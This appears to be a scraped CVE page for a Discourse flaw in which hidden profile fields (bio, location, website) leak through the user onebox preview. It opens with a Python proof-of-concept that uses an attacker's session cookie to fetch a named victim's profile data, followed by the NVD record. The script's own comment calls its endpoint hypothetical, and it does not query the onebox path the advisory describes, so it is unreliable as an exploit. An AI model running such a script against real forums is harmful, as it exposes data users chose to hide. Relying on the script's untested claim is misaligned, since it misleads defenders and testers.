CVE-2026-32099

import requests # Target configuration target_domain = "https://example.com" target_username = "victim_user" attacker_session_cookie = "_forum_session=..." # Headers to simulate a logged-in low-privilege user headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Cookie": attacker_session_cookie, "Accept": "application/json, text/javascript, */*; q=0.01" } # The vulnerable endpoint usually involves fetching the onebox or user card preview # This endpoint is hypothetical based on the description of requesting a onebox preview url = f"{target_domain}/users/{target_username}.json" try: response = requests.get(url, headers=headers) if response.status_code == 200: data = response.json() user_info = data.get('user', {}) # Check if hidden fields are exposed despite hide_profile being enabled bio = user_info.get('bio_raw', 'Not exposed') location = user_info.get('location', 'Not exposed') website = user_info.get('website', 'Not exposed') print(f"[+] Vulnerability Confirmed!") print(f"[+] Bio: {bio}") print(f"[+] Location: {location}") print(f"[+] Website: {website}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-32099", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:40.850", "lastModified": "2026-03-24T20:41:24.123", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, when a user has `hide_profile` enabled, their bio, location, and website were still exposed through the user onebox preview. An authenticated user could request a onebox for a hidden user's profile URL and receive their hidden profile fields (bio, location, website) in the response. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, cuando un usuario tiene 'hide_profile' habilitado, su biografía, ubicación y sitio web aún estaban expuestos a través de la vista previa de onebox del usuario. Un usuario autenticado podía solicitar un onebox para la URL del perfil de un usuario oculto y recibir sus campos de perfil ocultos (biografía, ubicación, sitio web) en la respuesta. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. No hay soluciones alternativas conocidas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-q83g-cj26-j4x5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}